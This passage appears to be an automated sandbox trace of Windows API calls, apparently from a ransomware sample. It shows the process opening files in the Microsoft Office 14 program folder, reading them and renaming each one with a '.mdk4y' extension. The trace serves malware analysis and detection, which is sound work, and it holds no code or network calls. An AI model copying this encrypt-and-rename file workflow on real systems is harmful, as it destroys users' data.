out: lpPerformanceCount=0x37df70*=1828179700000) returned 1 [0206.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828179700000) returned 1 [0206.571] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.mdk4y")) returned 1 [0206.573] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.573] AreFileApisANSI () returned 1 [0206.573] GetACP () returned 0x4e4 [0206.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUDIOSEARCHLTS.DLL", cchWideChar=18, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AUDIOSEARCHLTS.DLL47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 18 [0206.573] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828180500000) returned 1 [0206.575] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x22db8, lpOverlapped=0x0) returned 1 [0206.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828184500000) returned 1 [0206.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828184500000) returned 1 [0206.617] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.mdk4y")) returned 1 [0206.619] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.619] AreFileApisANSI () returned 1 [0206.619] GetACP () returned 0x4e4 [0206.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUDIOSEARCHMAIN.DLL", cchWideChar=19, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AUDIOSEARCHMAIN.DLL7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 19 [0206.619] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828185000000) returned 1 [0206.620] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0206.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828187300000) returned 1 [0206.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828187300000) returned 1 [0206.679] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.mdk4y")) returned 1 [0206.681] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.681] AreFileApisANSI () returned 1 [0206.681] GetACP () returned 0x4e4 [0206.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUDIOSEARCHSAPIFE.DLL", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AUDIOSEARCHSAPIFE.DLLd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 21 [0206.681] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828191300000) returned 1 [0206.683] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0206.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828193600000) returned 1 [0206.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828193600000) returned 1 [0206.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.mdk4y")) returned 1 [0206.758] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.758] AreFileApisANSI () returned 1 [0206.758] GetACP () returned 0x4e4 [0206.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUTHZAX.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AUTHZAX.DLLSAPIFE.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0206.758] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828199000000) returned 1 [0206.760] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10d88, lpOverlapped=0x0) returned 1 [0206.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828202700000) returned 1 [0206.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828202700000) returned 1 [0206.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.mdk4y")) returned 1 [0206.800] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.800] AreFileApisANSI () returned 1 [0206.800] GetACP () returned 0x4e4 [0206.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSAutogen.dll", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSAutogen.dllIFE.DLL", lpUsedDefaultChar=0x37dfd8) returned 14 [0206.800] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.800] AreFileApisANSI () returned 1 [0206.800] GetACP () returned 0x4e4 [0206.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSClient.Msg.dll", cchWideChar=17, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSClient.Msg.dll.DLL", lpUsedDefaultChar=0x37dfd8) returned 17 [0206.800] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.800] AreFileApisANSI () returned 1 [0206.800] GetACP () returned 0x4e4 [0206.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSClientManifest.man", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSClientManifest.man", lpUsedDefaultChar=0x37dfd8) returned 21 [0206.801] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828203200000) returned 1 [0206.802] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6886, lpOverlapped=0x0) returned 1 [0206.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828203400000) returned 1 [0206.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828203400000) returned 1 [0206.805] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.mdk4y")) returned 1 [0206.808] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.808] AreFileApisANSI () returned 1 [0206.808] GetACP () returned 0x4e4 [0206.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSEvents.man", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSEvents.manfest.man", lpUsedDefaultChar=0x37dfd8) returned 13 [0206.808] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828204000000) returned 1 [0206.810] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8d51, lpOverlapped=0x0) returned 1 [0206.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828205300000) returned 1 [0206.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828205300000) returned 1 [0206.824] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.mdk4y")) returned 1 [0206.826] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.826] AreFileApisANSI () returned 1 [0206.826] GetACP () returned 0x4e4 [0206.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSLaunch.dll", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSLaunch.dll", lpUsedDefaultChar=0x37dfd8) returned 13 [0206.826] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.826] AreFileApisANSI () returned 1 [0206.826] GetACP () returned 0x4e4 [0206.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSProxy.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSProxy.dlll", lpUsedDefaultChar=0x37dfd8) returned 12 [0206.826] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.826] AreFileApisANSI () returned 1 [0206.826] GetACP () returned 0x4e4 [0206.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSRuntime.dll", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSRuntime.dllest.man", lpUsedDefaultChar=0x37dfd8) returned 14 [0206.827] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.827] AreFileApisANSI () returned 1 [0206.827] GetACP () returned 0x4e4 [0206.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSRuntimeUI.dll", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSRuntimeUI.dllt.man", lpUsedDefaultChar=0x37dfd8) returned 16 [0206.827] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.827] AreFileApisANSI () returned 1 [0206.827] GetACP () returned 0x4e4 [0206.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSStr32.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSStr32.dll.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0206.827] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.827] AreFileApisANSI () returned 1 [0206.827] GetACP () returned 0x4e4 [0206.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSSync.exe", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BCSSync.exel", lpUsedDefaultChar=0x37dfd8) returned 11 [0206.827] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.827] AreFileApisANSI () returned 1 [0206.827] GetACP () returned 0x4e4 [0206.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bdcmetadata.xsd", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="bdcmetadata.xsdl", lpUsedDefaultChar=0x37dfd8) returned 15 [0206.827] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828206000000) returned 1 [0206.830] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x65ab, lpOverlapped=0x0) returned 1 [0206.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828206200000) returned 1 [0206.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828206200000) returned 1 [0206.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd.mdk4y")) returned 1 [0206.834] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.834] AreFileApisANSI () returned 1 [0206.834] GetACP () returned 0x4e4 [0206.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bdcmetadataresource.xsd", cchWideChar=23, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="bdcmetadataresource.xsd8rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 23 [0206.834] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828206500000) returned 1 [0206.835] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3321, lpOverlapped=0x0) returned 1 [0206.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828209200000) returned 1 [0206.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828209200000) returned 1 [0206.863] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd.mdk4y")) returned 1 [0206.864] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.864] AreFileApisANSI () returned 1 [0206.864] GetACP () returned 0x4e4 [0206.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Bibliography", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Bibliographyesource.xsd", lpUsedDefaultChar=0x37dfd8) returned 12 [0206.864] AreFileApisANSI () returned 1 [0206.865] GetACP () returned 0x4e4 [0206.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\7㢞瞈ĸh㡺瞈韞瞣") returned 56 [0206.890] AreFileApisANSI () returned 1 [0206.890] GetACP () returned 0x4e4 [0206.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0206.890] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.891] AreFileApisANSI () returned 1 [0206.891] GetACP () returned 0x4e4 [0206.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37df4c) returned 2 [0206.891] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.891] AreFileApisANSI () returned 1 [0206.891] GetACP () returned 0x4e4 [0206.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Author2String.XSL", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Author2String.XSL", lpUsedDefaultChar=0x37df4c) returned 17 [0206.891] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828212300000) returned 1 [0206.893] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7925, lpOverlapped=0x0) returned 1 [0206.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828213700000) returned 1 [0206.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828213700000) returned 1 [0206.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl.mdk4y")) returned 1 [0206.909] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.909] AreFileApisANSI () returned 1 [0206.909] GetACP () returned 0x4e4 [0206.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Author2XML.XSL", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Author2XML.XSLXSL", lpUsedDefaultChar=0x37df4c) returned 14 [0206.909] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828214000000) returned 1 [0206.910] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfe6, lpOverlapped=0x0) returned 1 [0206.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828219600000) returned 1 [0206.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828219600000) returned 1 [0206.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl.mdk4y")) returned 1 [0206.978] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.978] AreFileApisANSI () returned 1 [0206.978] GetACP () returned 0x4e4 [0206.978] WideCharToMultiByte (in: CodePage=0x4e4, 